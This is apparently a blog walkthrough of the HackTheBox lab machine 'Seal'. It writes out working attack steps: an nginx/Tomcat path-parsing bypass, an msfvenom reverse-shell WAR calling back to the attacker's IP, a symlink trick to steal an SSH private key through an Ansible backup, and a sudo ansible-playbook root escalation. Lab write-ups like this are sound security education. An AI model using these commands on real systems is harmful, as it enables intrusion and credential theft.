Home HackTheBox Seal
Post
Cancel

HackTheBox Seal

sealinfocard

Machine information

Seal is very entertaining machine. First discovering Vhost of the machine and running ffuf against it showed few directories that were used in Apache Tomcat server. Another Service is running on port 8080, Gitbucket, after signing on the portal gave 2 repositories, in one of the repository’s commit had credentials for tomcat user, but tomcat login portal is being blocked by nginx configuration that are coded in the repository. To access the portal, tomcat and nginx has a flaw which was explained and how to exploit it in great BlackHat talk by OrangeTsai - Breaking the Parser. After abusing the flaw and uploading malicious war file and getting shell as tomcat user, I discovered some interesting files of Ansible Playbook, an Automation engine, I will abuse the playbook to get to luis user and after that I will exploit sudo capability of the luis user to get to root user.

Enumeration

nmap

As always I will scan for all the open ports with nmap which is highly revered network scanning tool in the inforsec community.

Starting nmap with full port scanning without detecting services and storing the results into all file prepending with flag -oA.

  • -p- : Specifies All ports 0-65535
  • -oA : To print output into files with extensions gnmap,xml,nmap, Here A stands for All.
  • --min-rate= : When the –min-rate option is given Nmap will do its best to send packets as fast as or faster than the given rate. And I got the following result,
1
2
3
4
5
6
7
8
9
10
11
$_ sudo nmap -p- -oA nmap/all 10.10.10.250 --min-rate=10000

Nmap scan report for 10.10.10.250
Host is up (0.30s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
443/tcp  open  https
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 360.50 seconds

Now I scan them to identify running services and nmap pre-installed scripts using -sV and -sC flags respectively

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
$_ sudo nmap -sC -sV -p 22,443,8080 -oA nmap/all 10.10.10.250

# Nmap 7.92 scan initiated Wed Nov 17 19:47:20 2021 as: nmap -sC -sV -p 22,443,8080 -oA nmap/all 10.10.10.250
Nmap scan report for 10.10.10.250
Host is up (0.21s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after:  2022-05-05T10:24:03
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg: 
|_  http/1.1
| tls-alpn: 
|_  http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open  http-proxy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Wed, 17 Nov 2021 14:33:44 GMT
|     Set-Cookie: JSESSIONID=node018cpd9xw8xe6zlifq5ogn253e41.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   GetRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Wed, 17 Nov 2021 14:33:43 GMT
|     Set-Cookie: JSESSIONID=node0h2w0ecmom8hh9cnk1cxbdnl39.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Wed, 17 Nov 2021 14:33:44 GMT
|     Set-Cookie: JSESSIONID=node0z7vt7nzatw9i1ry86g67uqt7b40.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RPCCheck: 
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest: 
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   Socks4: 
|     HTTP/1.1 400 Illegal character CNTL=0x4
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
|   Socks5: 
|     HTTP/1.1 400 Illegal character CNTL=0x5
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.92%I=7%D=11/17%Time=61950F21%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,F3,"HTTP/1\.1\x20401\x20Unauthorized\r\nDate:\x20Wed,\x2017\x
-- snip--
SF:ontent-Length:\x2071\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\
SF:x20400</h1><pre>reason:\x20Illegal\x20character\x20OTEXT=0x80</pre>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Nov 17 19:48:35 2021 -- 1 IP address (1 host up) scanned in 75.76 seconds

nmap gave hostname which I will add to my hostfile /etc/hosts

10.10.10.250 seal seal.htb

what nmap did not gave me is an email address, After running nmap I checked the certificate file of the host. I will remember this just in case.

02

Visiting Port 443

This how the website looks like, there aren’t any interesting directories listed.

03

I ran ffuf in the backgroud. ffuf is an fuzzing tool to look for any hidden directories.

1
2
3
4
5
6
7
8
9
10
$_ ffuf -u https://seal.htb/FUZZ -w /opt/Tools/SecLists/Discovery/Web-Content/raft-small-words.txt

admin                   [Status: 302, Size: 0, Words: 1, Lines: 1]
css                     [Status: 302, Size: 0, Words: 1, Lines: 1]
js                      [Status: 302, Size: 0, Words: 1, Lines: 1]
images                  [Status: 302, Size: 0, Words: 1, Lines: 1]
manager                 [Status: 302, Size: 0, Words: 1, Lines: 1]
.                       [Status: 200, Size: 19737, Words: 7425, Lines: 519]
icon                    [Status: 302, Size: 0, Words: 1, Lines: 1]
cmd                     [Status: 302, Size: 0, Words: 1, Lines: 1]

After visiting /admin it was revealed to me that this is an Apache Tomcat 9.0.31 server. It is showing 404 for /admin and /cmd pages except it is showing 403 for/manager.

Gitbucket

There is also 8080 port open serving GitBucket. I signed up as amroot user and logged in.

05

There are 2 repositories listed. Opening them revealed some usernames.

root luis alex

Firstly, I looking at the seal_market respository. It is using nginx and tomcat servers. While looking at the commits, on commit ac210325afd2f6ae17cce84a8aa42805ce5fd010 there are tomcat credentials added.

06

On the next commit 971f3aa3f0a0cc8aac12fd696d9631ca540f44c7 it was deleted. I don’t have access to login portal so I have to find a way to it.

In the seal_market latest commit db85dc0136b335d873a07420aa8963491c6cd362 mentioned a ToDo list.

  • Remove mutual authentication for dashboard, setup registration and login features.
  • Deploy updated tomcat configuration.
  • Disable manager and host-manager.

Looking at commit information nginx configurations has been changed.

07

After looking at the code, I googled for nginx mutual authentication and also because the server is nginx which I got from response header.

Server: nginx/1.18.0 (Ubuntu)

This blog post explains how to setup mutual auhentication in nginx server.

After this I googled for nginx tomcat exploit, now there is a good blackhat talk from OrangeTsai ‘Breaking the Parser’ which explains POC on exploitation. This is the white paper for the talk.

Shell as Tomcat

I used /foo;name=orange/bar/ payload from the talk changed it /manager;name=orange/html which prompted the login.

08

I entered the creds which I found on commit and successfully logged in as tomcat user.

09

I will just deploy malicious reverse shell war file using msfvenom. I used following command to create a war file.

msfvenom -p java/shell_reverse_tcp lhost=10.10.14.120 lport=9001 -f war -o amroot.war

I will deploy the file and that gave me a reverse shell.

10

I upgraded my shell for better environment.

11

Shell as Luis

Discovering Ansible Playbook

Now that I have proper envinronment. I started looking for interesting files and I came across Ansible directory in /opt/backups.

12

What is Ansible Playbook?

Ansible Playbooks offer a repeatable, re-usable, simple configuration management and multi-machine deployment system, one that is well suited to deploying complex applications. If you need to execute a task with Ansible more than once, write a playbook and put it under source control. Then you can use the playbook to push out new configuration or confirm the configuration of remote systems. The playbooks in the ansible-examples repository illustrate many useful techniques. You may want to look at these in another tab as you read the documentation.

Playbooks can:

  • declare configurations
  • orchestrate steps of any manual ordered process, on multiple sets of machines, in a defined order
  • launch tasks synchronously or asynchronously

The Playbooks are written in YAML languange.

In the playbook directory there is only 1 file run.yml.

1
2
3
4
5
6
7
8
9
10
11
12
- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
    	path: /opt/backups/files/
    	dest: "/opt/backups/archives/backup--.gz"
  - name: Clean
    file:
        state: absent
        path: /opt/backups/files/

There Are 3 tasks being run.

  1. Copy files is copying files from /var/lib/tomcat9/webapps/ROOT/admin/dashboard to /opt/backups/files folder using synchronize module and copy_symlink what is important here.
  2. Archive those files using archive module into /opt/backups/archives/backup-{timestamps}.gz
  3. Lastly delete folder ` /opt/backups/files/ using [File](https://docs.ansible.com/ansible/2.5/modules/archive_module.html#archive-module) module's state=absent` parameter.

Abusing Ansible

I can abuse this copy_symlink parameter.

Copy symlinks as the item that they point to (the referent) is copied, rather than the symlink.

Firstly I have to find a writtable location inside /var/lib/tomcat9/webapps/ROOT/admin/dashboard folder.

13

There is /uploads folder where I can write. Also in the archives folder is being written every 1 min.

14

I can just “write” files from /home/luis/.ssh/id_rsa and playbook will do its thing.

1
ln -s /home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads

Before *.gz files were 606047 bytes and now after symlinking new gerenerated file was 608923 bytes, looks like it worked!

15

I transferred the backup.gz file on my ParrotOS and after extracting reveals id_rsa inside uploads directory. I will use this file to get ssh shell as luis user using ssh -i id_rsa luis@seal.

17

Shell as root

Abusing sudo -l

Getting root user was extremly easy. First thing I ran after getting shell as luis was sudo -l to look for any files I can run as root user.

luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User luis may run the following commands on seal:
(ALL) NOPASSWD: /usr/bin/ansible-playbook *

I wrote small playbook from to ping back.

20

After running the script I got ping from seal

19

GTFObins POC

I can run ansible-playbook binary as root user, I quickly jumped to GTFObins which showed following commands to get as root. I created root.sh file and transfered that file over to target machine.

1
2
3
TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF

After running file bash root.sh I was escalated to root user.

18

This post is licensed under CC BY 4.0 by the author.